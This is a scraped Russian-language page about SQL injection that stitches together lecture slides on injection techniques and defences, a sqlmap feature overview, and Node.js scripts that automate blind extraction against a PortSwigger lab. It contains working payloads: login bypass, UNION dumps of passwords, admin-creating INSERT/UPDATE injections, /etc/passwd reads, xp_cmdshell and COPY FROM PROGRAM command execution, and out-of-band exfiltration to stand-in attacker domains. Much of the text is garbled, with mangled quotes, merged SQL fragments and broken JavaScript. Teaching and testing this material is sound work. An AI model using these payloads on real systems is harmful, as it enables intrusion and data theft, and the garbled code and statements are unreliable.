Time based blind sql как ускорить
# 4-5 SQL Injection — Вопросы по заданиям? — ## Темы занятия 1. Часть * Краткий обзор SQL * Описание уязвимости SQL injection * Вектора эксплуатации: bypass, union-based * Обзор имеющихся информационных ресурсов по уязвимости SQL injection 2. Часть * Вектора эксплуатации уязвимости SQL injection: error-based, boolean-blind, time-based. * Использование sqlmap для автоматической эксплуатации уязвимостей SQL injection * Инъекции в UPDATE и INSERT * Рекомендации для разработчиков для исключения уязвимости SQL injection — ## 5 минут Burp Suite Intruder ### Техника: Поиск фильтруемых символов — Intruder — URL кодирование — Payload Type: Brute Forcer —   — ## 5 минут Burp Suite ### Техника: Поиск фильтруемых символов Мы отправили все 256 символов, можно посмотреть как веб-приложение на них реагирует, понять какие фильтруются, а какие нет. — ## Еще раз о параметрах «`php $_GET[‘test’] — только из query $_POST[‘test’] — только из body $_REQUEST[‘test’] — и то и другое «` — ## SQL SQL — Structured Query Language Позволяет делать запросы к реляционным базам данным. Существует множество систем управления базами данных, в каждой из них используется свой диалект SQL: — MySQL — SQLite — Oracle — MSSql — PostgreSQL — ## SQL Данные в реляционных БД храняться в таблицах | Id | Name | Password | | ——— | ——— | ——— | | 1 | admin | 123123 | | 2 | user | jf#8EfjsiLEiws- | | | 3 | guest | | | — ## SQL «`sql= SELECT name,password FROM users WHERE OR substr(name,1,1)=’g’ ORDER BY id LIMIT 2 «` | Name | Password | | —— | ————— | | admin | 123123 | | guest | | — ## SQL — подзапросы «`sql= SELECT name,password FROM users where id from admin_users where name=’admin’) «` В данном случае подзапрос должен возвращать одну строку, иначе будет ошибка. — ## Run SQL online https://www.jdoodle.com/execute-sql-online — SQLite http://sqlfiddle.com — все 5 http://rextester.com/l/sql_server — MSSQL, PostgreSQL, MySQL, Oracle https://sqliteonline.com/ — PostgreSQL, SQLite, MariaDB (MySQL), MSSQL — ## SQL https://www.w3schools.com/sql/default.asp — tutorial http://sql-ex.ru/ — сайт с упражнениями для SQL — ## SQL injection — ## OWASP A03:2021-Injection Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации. — ## SQL Injection Уязвимость, при которой контролируемые атакующим данные внедряются в формируемый SQL-запрос. В результате внедрения атакующий может нарушить логику работы запроса и/или заставить СУБД выполнить полезные для атакующего действия. — ## SQL Injection «`php $query = «SELECT username, email, phone FROM users WHERE username = ‘» . $_REQUEST[‘username’] . «‘»; $result = mysql_query($conn, $query); «` — ## SQL Injection «`php $query = «SELECT username, email, phone FROM users WHERE username ='» . $_REQUEST[‘username’] . «‘»; $result = mysql_query($conn, $query); «` `http://vuln.example.com/?username=John33’ or ‘1’=’1` — ## SQL Injection «`php $query = «SELECT username, email, phone FROM users WHERE username ='» . $_REQUEST[‘username’] . «‘»; $result = mysql_query($conn, $query); «` `http://vuln.example.com/?username=John33’ or ‘1’=’1` «`php= echo $query; SELECT username, email, phone FROM users WHERE username=’John33′ or ‘1’=’1′ «` — ## SQL Injection Пример: bWAPP — SQL Injection (Login Form/Hero). — ## Упражнение Root me: SQL injection — Authentication — ## SQL Injection Possible impact: * Чтение информации из доступных баз данных * Получение информации о сервере, текущем пользователе, настройках * Получение информации из файловой системы * Возможность модификации информации в базе данных * Возможность записи в файлы * Возможность выполнения произвольного кода — ## SQL Injection — cheatsheets Pentest Monkey: http://pentestmonkey.net/category/cheat-sheet/sql-injection Payloads all the things: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/ — ## SQL Injection ### Техники атак — ## Техники SQL Injection * Bypassing * Stacked queries * Union-based * Error-based * Out of band * Boolean blind * Time-based (double blind) — ## Bypass Bypass инъекции, это когда модифицируется запрос с целью обойти какое-то логическое ограничение «`php $sql = «SELECT username FROM users WHERE username='».POST[‘login’].» AND password='».md5(POST[‘password’]).»‘»; «` login=admin’ or ‘1’=’1&password=kekpekpohek login=admin’ — &password=kekpekpohek — ## Stacked queries `productid=1; DELETE FROM products` «`sql= SELECT * FROM products WHERE productid=1; DELETE FROM products «` Позволяет делать любые запросы к БД (INSERT в пользователей с правами admin, UPDATE своего счета до миллиарда и т.д.) В том числе вызывать хранимые процедуры, системные функции и т.д.  — ## Stacked queries `productid=1; DELETE FROM products` «`sql= SELECT * FROM products WHERE productid=1; DELETE FROM products «` Еще раз — очень опасная вещь. Если вы нашли SQL-injection обязательно проверьте, можно ли поставить `;` и выполнить второй запрос. — ## Union based UNION — оператор SQL, позволяющий объединить результаты двух запросов «`SQL SELECT name,password from users UNION SELECT name,password from system_users «` — ## Union based UNION — оператор SQL, позволяющий объединить результаты двух запросов «`SQL SELECT name,password from users UNION SELECT name,password from system_users SELECT name,password from users UNION SELECT ‘123’,’234′ «` — ## Union based UNION — оператор SQL, позволяющий объединить результаты двух запросов «`SQL SELECT name,password from users UNION SELECT name,password from system_users SELECT name,password from users UNION SELECT ‘123’,’234′ SELECT name,password from users UNION SELECT title,body from posts «` — ## Union based Если результат SQL-запроса выводится в HTTP-ответ, то можно проводить Union-based SQL-инъекции. Идея в том, чтобы добавить в запрос еще один запрос и вывести ответ на экран. «`php $sql = «SELECT first_name, second_name, city FROM users WHERE UNION ALL SELECT login,password,’1′ FROM users«` — ## Union based Определение количества столбцов в запросе -ORDER BY (GROUP BY). ORDER BY может принимать на вход номер колонки, по которой надо сортировать ответ. Если передать номер, больший чем колонок — возникнет ошибка. * ?id=2 ORDER BY 4 * ?id=2 GROUP BY 4 Поэтому просто перебираем целые по возрастанию, пока не возникнет ошибка. Максимальное число на котором нет ошибки — количество столбцов. <Пример в онлайн SQL>— ## Union based /users.php?id=1 UNION ALL SELECT login,password,’1’ FROM admins Что надо учитывать: 1) Лучше добавлять ALL — если его не добавить, то SQL удалит дубли, и мы можем долго думать куда пропала часть данных 2) Если страница выводит только определенное количество ответов (например, один), нужно в изначальном запросе использовать такие данные чтобы ничего не вернулось `name=fefefe’ and 1=0 UNION SELECT . ` — ## Union based SQL Injection (GET/Search) SQL Injection (GET/Select) — ## SQLite Информацию о схеме в SQLite можно получить: `SELECT sql from sqlite_master` — ## Упражнения SQL injection — String SQL injection — Numeric — ## Отступление #### О поиске инъекций и сборе информации из базы — ## В каких запросах могут быть инъекции В любых! * SELECT — самый распространенный * INSERT * UPDATE * DELETE Обычно из семантики запроса можно понять что за запрос делается. — ## Место инъекции  — ## Место инъекции  В большинстве случаев — ## Место инъекции  Иногда в этих — ## Нужна ли кавычка Два типа: «`sql SELECT * FROM users where password = » SELECT * FROM users where способ используется для числовых значений. Если в процессе анализа видим, что нормальное значение поля — число, то проверять надо оба варианта — ## Как проверить что есть инъекция Для числовых полей: Мы знаем что сервис по разному отвечает на `?id=10` и `?id=11`. Тогда делаем `?id=11-1` и смотрим что получится. — ## Как проверить что есть инъекция Для «кавычковых» полей: Сделать запрос, который не нарушает логику работы. Рекомендуется: `id` = `5555′ AND ‘1’=’1` Если ответ тот же что и на странице при этом ответ на — не такой, то инъекция вероятно есть — ## Как проверить что есть инъекция Мы также можем использовать payload, которые приводят к задержке или DNS-запросу. https://github.com/sorokinpf/cth_wordlists/tree/master/SQL%20injection — ## Комментарии в SQL Зависят от диалекта — — комментирует оставшуюся часть строки. Может не работать в случае многострочных запросов «`sql SELECT * from USERS WHERE username=» AND password=» «` `login`=`admin’ — ` — в данном случае не сработает, т.к. последняя строка все еще будет работать. — ## Комментарии в SQL В некоторых диалектах есть многострочный комменарий /* — ## Что нас интересует в БД 1) Системная информация 2) Имена таблиц 3) Имена колонок 4) Данные 5) Доступ к локальным файлам 6) Выполнение команд ОС — ## Системная информация * Версия * Имя пользователя * Имя хоста <Пример>— ## Таблицы и колонки См. cheatsheet Например для MySQL: «`SELECT table_name from information_schema.tables«` «`SELECT column_name from information_schema.columns where table_name=’table’«` — ## Определение СУБД  — ## Вернемся к техникам атак — ## Error based Возникает когда веб-приложение отображает ошибку SQL. | СУБД | Вектор | | —— | —————————————————————————————————————————————- | | MySQL | select 1,2 union select count(*),concat((select content from docs limit 1),floor(rand(0)*2))x from information_schema.tables group by x; | | MySQL2 | SELECT EXTRACTVALUE(1,CONCAT(0x30,0x327a6b70,@@version)) | | MSSQL | SELECT CAST((select name from PurchaseOrderDetail) as int); | — «` «` — ## Error based Возникает когда веб-приложение отображает ошибку SQL. | СУБД | Вектор | | ———- | ——————————————————————————— | | Oracle | (utl_inaddr.get_host_address((select user from DUAL))) | | PostrgeSQL | SELECT CAST((SELECT kind from films limit 1) as integer); | | DB2 | select TO_CHAR((select ‘fefwefwef’ from sysibm.sysdummy1)) from sysibm.sysdummy1 | — ## Error based Пример — ## Boolean blind ## (Boolean based) — ## Boolean blind Если напрямую не выводятся ни данные, ни ошибка, но мы можем понять является ли ответ на запрос TRUE или FALSE Первая задача найти два запроса, в одном из которых есть константное выражение TRUE, в другом FALSE, которые дают разный результат Например: `?id=12 AND 1=0` `?id=12 AND IF((SELECT 1)=1,TRUE,FALSE)` `?id=12 — IF((SELECT 1)=1,2,3)` — ## Boolean Blind Отправляя поочередно множество «вопросов» в БД можно получить произвольную информацию. — ## Boolean Blind <Пример>— ## Boolean Blind Для эксплуатации нам нужно уметь делать следующие 4 действия: * Определять количество строк в ответе * Выбирать конкретный объект из всей выборки * Определять количество символов в строке * Определять конкретный символ конкретной строки — ## Boolean Blind Условные операторы * `IF` — только в MySQL * `CASE . WHEN . THEN . ELSE . END` — в большинтве СУБД — ## Boolean Blind Условные операторы Часто можно его не использовать: `?id=12 AND (SELECT count(*) FROM information_schema.tables)>50` — ## Boolean Blind Выбираем конкретную строку из ответа: `limit 1,2` — MySQL,SQLite `limit 1 offset 0` — Postgres `OFFSET 3 ROWS FETCH NEXT 1 ROWS ONLY` — MSSQL и Oracle (новые версии) — ## Boolean Blind Получаем длину строки: * `len(name)` — mysql * `length(name)` — остальные — ## Boolean Blind Выбираем 1 символ: * `substr(name,1,1)` — MySQL, SQLite, Oracle * `substring(name,1,1)` — MSSQL, Postgres — ## Boolean Blind #### Бинарный поиск Позволяет определить значение 1 байта за 8 запросов  — ## Boolean Blind Приведение символа к числу: * `unicode(substr(name,1,1))` — SQLite * `ASCII(substr(name,1,1))` — всех остальных — ## Out of Band — ## Out of Band Идея — заставить БД сделать DNS/HTTP запрос, похищаемые данные подставить в поддомен/строку запроса. — ## Out of Band ### MSSQL «`sql select * from fn_trace_gettable(‘\\’+(select ‘abc’)+’domain.hacker.com\1.trc’,default) «` Также можно использовать `fn_xe_file_target_read_file`, `fn_get_audit_file` — ## Out of Band ### Oracle «`sql SELECT UTL_HTTP.REQUEST(concat(‘http://’,(select . ),’.attacker.domain.com’) «` — ## Time based ## (Double blind) — ## Time based Если веб-приложение не выводит никакой информации из выполненного запроса, то мы можем вызывать SQL функцию задержки при определенном условии. Измеряя время ответа веб-приложения можно получить 1 бит информации за 1 запрос. Сводится к Blind. Пример: `SELECT IF(1=1,SLEEP(10),1)` — ## Привелигированные атаки — ## Чтение файлов Требует привилегированного пользователя MySQL: `SELECT LOAD_FILE(‘/etc/passwd’)` см. cheatsheet. — ## Запись файлов MySQL: «`sql SELECT * from users INTO OUTFILE ‘/tmp/123.txt’ «` см. cheatsheet. — ## Выполнение команд MSSQL: «`sql EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; EXEC xp_cmdshell ‘whoami’; «` — ## Выполнение команд PostgreSQL: «`sql= CREATE TABLE commands_results ( id SERIAL PRIMARY KEY, output TEXT ); COPY commands_results (output) FROM PROGRAM ‘whoami’; «` — ## sqlmap — ## sqlmap Автоматический сканер SQL-инъекций и помощник в их эксплуатации https://github.com/sqlmapproject/sqlmap `apt-get install sqlmap` `brew install sqlmap` — ## sqlmap Есть две фазы работы: * Обнаружение * Эксплуатация — ## sqlmap — Обнаружение — базовый пример «`sqlmap -u «http://psorokin.ru:8000/sqli_1.php?title=a&action=search»«` — ## sqlmap — Обнаружение Передача запроса целиком: `sqlmap -r request.txt` request.txt можно взять прямо с BURP — ## sqlmap — Обнаружение Если мы хотим, чтобы sqlmap вставлял пэйлоады в определенное место, используем символ * Пример: `sqlmap -u «http://localhost/sqli_1.php?title=*&action=search»` Аналогично внутри файла, передаваемого в -r. — ## sqlmap — Обнаружение Если мы хотим, чтобы sqlmap искал только определенные техники эксплуатации —technique * B=boolean * E=error * U=union * S=staked * T=time-based — ## sqlmap — Обнаружение Часто бывает так что sqlmap не находит нормальную технику, но вы её уже нашли, она точно есть. Тогда можно попробовать следующее: * Добавить кавычки и прочую обвязку в запрос, так чтобы sqlmap вместо звездочки нужно было поставить очень простой запрос. * Наоборот убрать все, оставить в запросе одну только звездочку. — ## sqlmap — Обнаружение —level — чем выше, тем больше векторов проверяет sqlmap, увеличивает длительность, диапазон значений 1-5 —risk — чем выше, тем опасней вектора будет пробовать sqlmap. Может привести к удалению информации. Диапазон значений 1-3, лучше оставлять 1. — ## sqlmap — Эксплуатация Достаем данные. 1) листим базы данных `sqlmap . —dbs` 2) листим таблицы `sqlmap -D bWAPP —tables` 3) листим колонки `sqlmap -D bWAPP -T heroes —columns` 4) дампим таблицу `sqlmap -D bWAPP -T heroes —dump` — ## sqlmap — Эксплуатация sql shell позволяет выполнять запросы SQL. `sqlmap . —sql-shell` — ## sqlmap — Эксплуатация OS shell позволяет автоматически выполнить команды ОС `sqlmap . —os-shell` — ## sqlmap — Эксплуатация —threads — количество потоков Особенно важно при эксплуатации blind, т.к. сильно ускоряет процесс. — ## sqlmap — Кэширование `sqlmap` кэширует уже вытащенную информацию, чтобы не повторять запросы. Иногда нам надо сбросить кэш. В таком случае нужно удалить директорию . — ## sqlmap — упражнение root-me — ## sqli_blinder https://github.com/sorokinpf/sqli_blinder Позволяет эксплуатировать blind injections если sqlmap их не находит, или по другой причине не справляется. Нужно реализовать 1 функцию на Python. — ## Обходы фильтров — ## Не хватает символа в строке Нужен символ ‘a’ в строке. Решение: Используем функцию chr `chr(96)||’bc’` — # Не хватает одинарной кавычки MySQL: `SELECT * FROM users where login=0x313233` Postgres: `select * from demo where hint=$$300$$` — ## INSERT SQL Injections — ## INSERT SQL Injections Позволяет добавлять дополнительные записи в целевую таблицу с произвольным содержимым. — ## INSERT SQL Injections `#users -> (id,is_admin,name,password)` «`php= $sql = «INSERT INTO users VALUES (0,0,’$username’,’md5($password)’ )» «` `?name=’,’fefef’),(0,1,’new_admin&password=123123` Добавит нового пользователя с правами admin’a — ## INSERT SQL Injections `#posts -> (id,title,body)` «`php= $sql = «INSERT INTO posts VALUES (0,’$title’,’$body’)»» «` `?body=’),(1,(SELECT @@version),’other` Добавит результат subquery в запись. Потом этот результат может быть считан. — ## INSERT SQL Injections `#users -> (id UNIQUE,is_admin,name UNIQUE,password)` «`php= $sql = «INSERT INTO users VALUES (0,0,’$username’,’md5($password)’ )» «` `?name=admin’,’fefef’) ON CONFLICT (name) DO UPDATE SET password=’new_pass’ — ` Изменит пароль администратору Еще есть `ON DUPLICATE KEY`. — ## UPDATE SQL Injections — ## UPDATE SQL Injections UPDATE users SET email=’ ‘ WHERE style=»color:green»> ‘ — ## UPDATE SQL Injections «`sql UPDATE users SET email=» WHERE можно изменять другие поля как этой так и других записей: 1) `email=’,is_admin=’1` «`sql UPDATE users SET email=»,is_admin=’1′ WHERE `email=’,password=’123′ where username=’admin’ — ` «`sql UPDATE users SET email=»,password=’123′ where username=’admin’ — ‘ WHERE UPDATE SQL Injections «`sql UPDATE users SET email=» WHERE можно получить данные: 3) `email=’,about=(SELECT @@version) where username=’my_user’ —« «`sql UPDATE users SET email=»,about=(SELECT @@version) where username=’my_user’ — ‘ WHERE UPDATE SQL Injections «`sql UPDATE users SET email=’xxx@yyy.ru’ WHERE Тут можно изменить указанные в запросе поля другому пользователю `email=our@mail.ru&id=testfefefefe’ or username=’admin` — ## UPDATE SQL Injections «`sql UPDATE users SET email=’xxx@yyy.ru’ WHERE можно провести блайнд атаку на получение данных `email=xxx@zzz.ru&id=1′ and (select count(*) from users)>10 — ` Если почта изменилась, значит пользователей больше 10. — ## Защита от SQL injection — ## Защита от SQL injection — Валидация — Безопасное обращение к SQL — ## Защита от SQL injection * Санитизация (экранирование опасных символов) — НЕ РЕКОМЕНДУЕТСЯ * Prepared statements * ORM — ## Защита от SQL injection Санитизация «`php= «` — ## Защита от SQL injection Prepared Statements «`php= $stmt = $dbh->prepare(«SELECT * FROM REGISTRY where name = ?»); if ($stmt->execute(array($_GET[‘name’]))) < while ($row = $stmt->fetch()) < print_r($row); >> «` — ## Защита от SQL injection ORM «`php= Model\User::where(‘active’, 1) ->where(‘username’, $_GET[‘username’]) ->orberBy(‘username’) ->get(); «` — ## ORM injections ORM зачастую безсильны при передаче пользовательского ввода в качестве: — имен таблиц — имен колонок — order by/group by — etc. Создавайте для таких случаев белые списки. — ## ORM injections [RubyOnRails injections](https://rails-sqli.org/) [Doctrine injections](https://www.doctrine-project.org/projects/doctrine-orm/en/latest/reference/security.html#user-input-and-doctrine-orm) [Эксплуатация инъекций в Hibernate ORM](https://habr.com/ru/company/parallels/blog/272589/) [Eloquent Raw methods](https://www.stackhawk.com/blog/sql-injection-prevention-laravel/) [Terrasoft](https://medium.com/@sorokinpf/bpmonline-sql-injection-607916447e30) — ## Защита от SQL injection — Выберите единообразный подход к защите от SQL injection в своем проекте и придерживайтесь его во всем коде — Изучите особенности выбранного решения — убедитесь что stacked queries не работают. — поищите статьи об инъекциях в ваш ORM. — проверьте возможность инъекции в order by/group by/etc. — ‘ or ‘1’=’1′ — ‘ or 1=1 limit 2,1 — ‘ or — ‘ or login!=’Neo’ and 1=1 — ‘ or 1=1 limit 1,2 — или admin’/* ‘ order by 8 — ‘ union select 1,table_name,3,4,5,6,7 FROM information_schema.tables — ‘ union select 1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_name=’heroes’ — ‘ union select 1,id,login,password,secret,6,7 FROM heroes —Пример>
Last changed by
Add a comment
Published on HackMD
Sign in
By clicking below, you agree to our terms of service.
Soft Автоматическая инъекция SQL и инструмент захвата базы данных: sqlmap
Sqlmap является открытым инструментом для проведения пентестов, который автоматизирует процесс обнаружения и эксплуатации SQL инъекций, а также процесс захвата серверов базы данных. Он идет с мощным встроенным движком обнаружения и с множеством свойств для выполняющего пентест. Также в нем присутствует широкий диапазон коммутаторов, начиная с fingerprinting базы данных и более обширной выборки данных из нее, и заканчивая получением доступа к лежащей в основе файловой системе и выполнением команд в операционной системе с помощью out-of-band соединения.
Это заинтересует вас:
- Использование SQLMAP на Kali Linux: взлом веб-сайтов и баз данных через SQL-инъекции
- SQLMAP-Web-GUI: графический интерфейс для SQLMAP
- Как запустить sqlmap на Windows
- Boolean-based blind: sqlmap меняет местами или присоединяет к пораженному параметру HTTP запроса, синтаксически верную строку SQL предложения, содержащую SELECT
суб-предложение или любое другое SQL предложение, которое пользователь захочет извлечь. Для каждого HTTP-отклика, путем проведения сравнения хедера/тела HTTP-отклика и оригинального запроса, данный инструмент обнаруживает и вычисляет выход введенных предложений одного за другим. В качестве альтернативы, пользователь может предоставить строку или верное выражение для поиска соответствий на реальных страницах. Алгоритм бисекции реализован в sqlmap, чтобы данная техника могла извлекать каждый символ на выходе максимум из семи HTTP запросов. В случае, если выход не находится в пределах открытого текста, sqlmap адаптирует алгоритм большим диапазоном для определения порта. - Time-based blind: sqlmap меняет местами или присоединяет к пораженному параметру HTTP запроса синтаксически верную строку SQL предложения, содержащую запрос, который задерживает внутренний DBMS, для того чтобы вернуться на несколько секунд. Для каждого HTTP запроса, путем сравнения времени HTTP отклика и первоначального запроса, данный инструмент обнаруживает и вычисляет выход введенных предложений одного за другим. Также как и в предыдущей технике здесь применяется бисекционный алгоритм.
- Базирующиеся на ошибке: sqlmap меняет местами или присоединяет к пораженному параметру специфическое для баз данных сообщение об ошибке, которое провоцирует предложение и анализирует хедер и тело HTTP отклика, в поисках DBMS сообщения об ошибке, содержащего введенную и заранее определенную цепь символов и предложения подзапроса на выходе. Эта техника работает только тогда, когда веб-приложение было настроено на открытие сообщений об ошибках системы управления базами данных.
- Базирующиеся на UNION запросе:sqlmap меняет местами или присоединяет к пораженному параметру HTTP запроса, синтаксически верную строку SQL предложения начиная с UNION ALL SELECT . Эта техника работает, когда страница веб-приложения проходит прямо к выходу SELECT предложения в цикле for , или чего-то наподобие, таким образом, чтобы каждая строчка запроса выхода была распечатана на странице содержания. sqlmap также способен использовать частичные (однократные) UNION запросы уязвимостей SQL инъекции, которые возникают, когда выход предложения не зацикленs в for конструкции, тогда как отображается только первый заход запроса выхода.
- Стековые запросы, также известны как piggy backing: sqlmap проверяет поддерживает ли веб-приложение стековые запросы и затем, в случае если поддерживает, sqlmap прикрепляет к пораженной части HTTP запроса точку с запятой (; ) следующую за SQL предложением, которое будет выполнено. Эта техника больше полезна для запуска SQL предложения, чем для SELECT , как, например, предложения определения данных или предложения управления данными, возможно ведущие к доступу чтения и переписывания файловой системы и выполнению команд в операционной системе в зависимости от лежащей в основе внутренней системы управления базой данных и привилегий пользовательской сессии.
- Полная поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB систем управления базами данных.
- Полная поддержка пяти техник SQL инъекций: boolean-based blind, time-based blind, error-based), UNION query и stacked queries.
- Поддержка прямого подключения к базе данных без прохождения через SQL инъекцию, путем предоставления DBMS учетных данных, IP адреса, порта и имени базы данных.
- Также возможно предоставить одиночную URL цель, получить список целей из
Ссылка скрыта от гостей
Ссылка скрыта от гостей
- Обширное серверное приложение версии программного обеспечения баз данных и лежащая в основе операционной системы сигнатура основывается на сообщениях об ошибках, разборе баннера, сравнения выходных функций и особенностей, таких как MySQL инъекция комментария. Также можно воздействовать на имя сервера системы управления базой данных, если вам оно уже известно.
- Базовое программное обеспечение веб-сервера и технологии веб-приложения фингерпринт.
- Поддержка извлечения DBMS баннера, пользователя сессии и текущей информации базы данных. Данный инструмент может также проверить, является ли пользователь сессии администратором базы данных (DBA).
- Поддержка перечисления пользователей, хэшей паролей, прав доступа, ролей, баз данных, таблиц и колонок.
- Автоматическое распознавание формата хэшей паролей и поддержка их взлома с помощью dictionary-based атаки.
- Поддержка brute-force имени таблиц и колонок. Это очень полезно, когда пользователь сессии не имеет доступа к чтению системных таблиц, содержащих информацию о схеме, или когда система управления базой данных нигде не хранит эту информацию (e.g. MySQL < 5.0).
- Полная поддержка дампа таблиц базы данных, диапазон записей или определенных столбцов устанавливается по выбору пользователя. Пользователь также может выбрать сброс только лишь диапазон символов записей в каждой колонке.
- Поддержка автоматического сброса всех схем баз данных и записей. Возможно, это делается, чтобы исключить из дампа базы данных системы.
- Поддержка поиска собственных имен базы данных, конкретных таблиц во всех базах данных или конкретных колонок во всех таблицах баз данных. Это полезно, например, для определения таблиц содержащих пользовательские учетные данные приложения, где соответствующее имя колонки содержит такие строки как имя и пароль.
- Поддержка запуска пользовательского SQL предложения(ий) как в интерактивном SQL подключении к серверу базы данных. sqlmap автоматически разбивает предоставленное предложение, определяет какую технику сначала необходимо использовать и как должным образом поместить SQL пейлоад.
Ссылка скрыта от гостей
Перейти на страницу документации sqlmap
Установка
Вы можете скачать самый последний tarball нажав здесь или самый последний zipball нажав здесь.
Предпочтительно, скачать sqlmap путем клонирования Git репозитория:
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap отлично работает с
Ссылка скрыта от гостей
версиями 2.6.x и 2.7.x на любой платформе.
Usage
Для получения списка базовых опций и коммутаторов используйте:
python sqlmap.py -h
Статья Автоматизация Boolean based Blind SQL Injection на Node.js
Boolean based Blind SQL Injection — это техника инъекции, которая заставляет приложение возвращать различное содержимое в зависимости от логического результата (TRUE или FALSE) при запросе к реляционной базе данных. Результат позволяет судить о том, истинна или ложна используемая полезная нагрузка, даже если никакие данные из базы не раскрываются в явном виде. Таким образом, становится возможно раскрытие данных, например, посимвольным подбором искомого значения.
Естественно, что ручной дамп базы данных при такой инъекции крайне неэффективен. Существуют мощные инструменты, позволяющие доставать данные при слепых инъекциях в автоматическом режиме, например, широко известный sqlmap. Но ввиду того, что SQL инъекции могут возникать в различных местах приложения (GET параметры, POST body, Headers и т.д.), запросы к базам данных требуют специального синтаксиса в зависимости от типа этих баз данных (MYSQL, PostgeSQL, Oracle и т.д.), а ответ приложения, позволяющий идентифицировать истинность/ложность запроса, вообще является уникальным в каждом отдельном случае, существование полностью автоматического инструмента, гарантирующего 100% вероятность эксплуатации, является утопией.
Неоднократно, столкнувшись с отказом со стороны sqlmap (при всем уважении к нему и его создателям, зачастую его вполне достаточно), появилась необходимость создания полуавтоматических скриптов, которые позволяют максимально гибко настроить SQL инъекцию в ручном режиме, при этом делая всю монотонную работу автоматически.
Так как у меня бэкграунд фронтенд разработчика, то для реализации задачи я выбрал JavaScript и его серверную среду выполнения — Node.js. Никаких претензий к явно более популярному для подобных задач Python не имею, просто выбрал то, что ближе. Да и вообще алгоритм гораздо важнее, чем язык на котором написана программа.
Далее я опишу процесс разработки, не просто вывалив на читателя гору кода, применимого в частном случае, а показав посредством каких рассуждений были созданы эти скрипты. Надеюсь, это поможет кому-то создать свои инструменты для любых других задач.
Лучше всего двигаться небольшими итерациями и сразу на примере проверять то, что получается. В качестве цели для тестирования скриптов была выбрана лабораторная работа с PortSwigger (
Ссылка скрыта от гостей
). Далее будет спойлер, поэтому, если вы еще не проходили данную лабораторную работу, то советую сделать это до прочтения статьи, это поможет прочувствовать необходимость оптимизации. Почему составлен тот или иной SQL запрос, описано в лабораторной, не будем на этом акцентировать внимание.
Итак, мы нашли SQL инъекцию, определили тип БД, поняли, что она boolean based, различаем true и false ответы по появлению определенного контента на странице приложения.
Теперь можно определить длину искомого значения будь то имя базы, таблицы, колонки или значения. Напишем для этого отдельный скрипт.
1) Устанавливаем node.js и пакетный менеджер npm (если они отсутствуют):
apt install nodejs npm
2) Создаем папку проекта и инициализируем ее как Node.js проект:
mkdir sql && cd sql && npm init
Появятся два файла: package.json и package-lock.json. Они необходимы для установления зависимостей кода и библиотек.
3) Установим библиотеку node-fetch, позволяющую использовать браузерный Fetch API для http запросов на Node.js. Можно использовать другие библиотеки и модули. Для меня fetch знаком из браузера, поэтому роднее.
npm install node-fetch
4) Пишем асинхронную функцию, которая принимает предполагаемую длину в качестве аргумента и возвращает логическое значение в зависимости от результата сравнения в SQL запросе (не итоговый код!)
JavaScript:
import fetch from "node-fetch"; async function findLength(length) < // Значение, которое появляется на странице в случае истинного SQL запроса const flag = "Welcome"; // URL уязвимого приложения const url = new URL( "https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login" ); // В этом объекте помещаем все, что касается http запроса const options = < method: "GET", headers: < Cookie: `TrackingId=BlzXFEUoJcpSPeyv'+and+(select+'a'+from+users+where+username='administrator'+and+length(password)=$)='a`, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", >, // body: '', Если бы был POST >; const response = await fetch(url, options); const responseText = await response.text(); return(responseText.includes(flag)); >;
Далее можно было бы, используя цикл for, последовательно вызывать функцию с аргументами от 1 до n, где n длина искомого значения. Рано или поздно, в случае правильного составленного запроса, скрипт бы вернул true.
Но это неэффективное решение. Во первых, значение может быть длинным, например, хэш пароля в 64 символа потребовал бы 64 http запроса. Во вторых, большое количество запросов вызовет подозрение у систем защиты приложения.
Так как мы двигаемся по отсортированному массиву значений (от 1 до n), для оптимизации поиска можно применить алгоритм бинарного поиска. (
Ссылка скрыта от гостей
5) Дорабатываем скрипт с учетом алгоритма бинарного поиска и получаем итоговый вариант.
JavaScript:
import fetch from "node-fetch"; async function findLength() < // Значение, которое появляется на странице в случае истинного SQL запроса const flag = "Welcome"; // Минимальная и максимальная предполагаемая длина искомого значения // Если скрипт вернул end, но это не верный ответ, увеличиваем значение end (Костыль, а куда без них?) let start = 1; let end = 128; // Обязательно проводим сравнение в SQL запросе только с помощью оператора >. // Также не забываем включить в запрос итерируемое значение middle. while (true) < let middle = Math.floor((start + end) / 2); // URL уязвимого приложения const url = new URL( "https://0ab400e503b6e9b4c0d045ab00f80025.web-security-academy.net/login" ); // В этом объекте помещаем все, что касается http запроса (Метод, заголовки, тело и т.д.) const options = < method: "GET", headers: < Cookie: `TrackingId=BlzXFEUoJcpSPeyv'+and+(select+'a'+from+users+where+username='administrator'+and+length(password)>$)='a`, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", >, // body: '', Если бы был POST >; const response = await fetch(url, options); const responseText = await response.text(); const greaterThanMiddle = responseText.includes(flag); const twoValues = end - start else if (twoValues && !greaterThanMiddle) < return start; >else if (greaterThanMiddle) < start = middle + 1; >else < end = middle; >> > // Вызываем функцию и замеряем время подбора длины console.log("Please wait. "); const timeBefore = new Date(); const answ = await findLength(); const timeAfter = new Date(); const seconds = Math.round((timeAfter - timeBefore) / 1000); console.log("Value length:", answ, "Spend time:", seconds, "seconds");
Изменяя SQL запрос, можно определять длины любых значений из базы, а бинарный поиск позволяет значительно ускорить процесс итерации. Так, для нахождения длины в диапазоне 1-128 символов, будет сделано не более 7 запросов.
6) Имея алгоритм для поиска длины, напишем второй скрипт для подбора значения. Код функции findChar() во многом похож на findLength() из предыдущего скрипта, только теперь наш диапазон это печатные значения кодировки ASCII, а также в SQL запросе используется дополнительная переменная i для обозначения индекса итерируемого символа. (
Ссылка скрыта от гостей
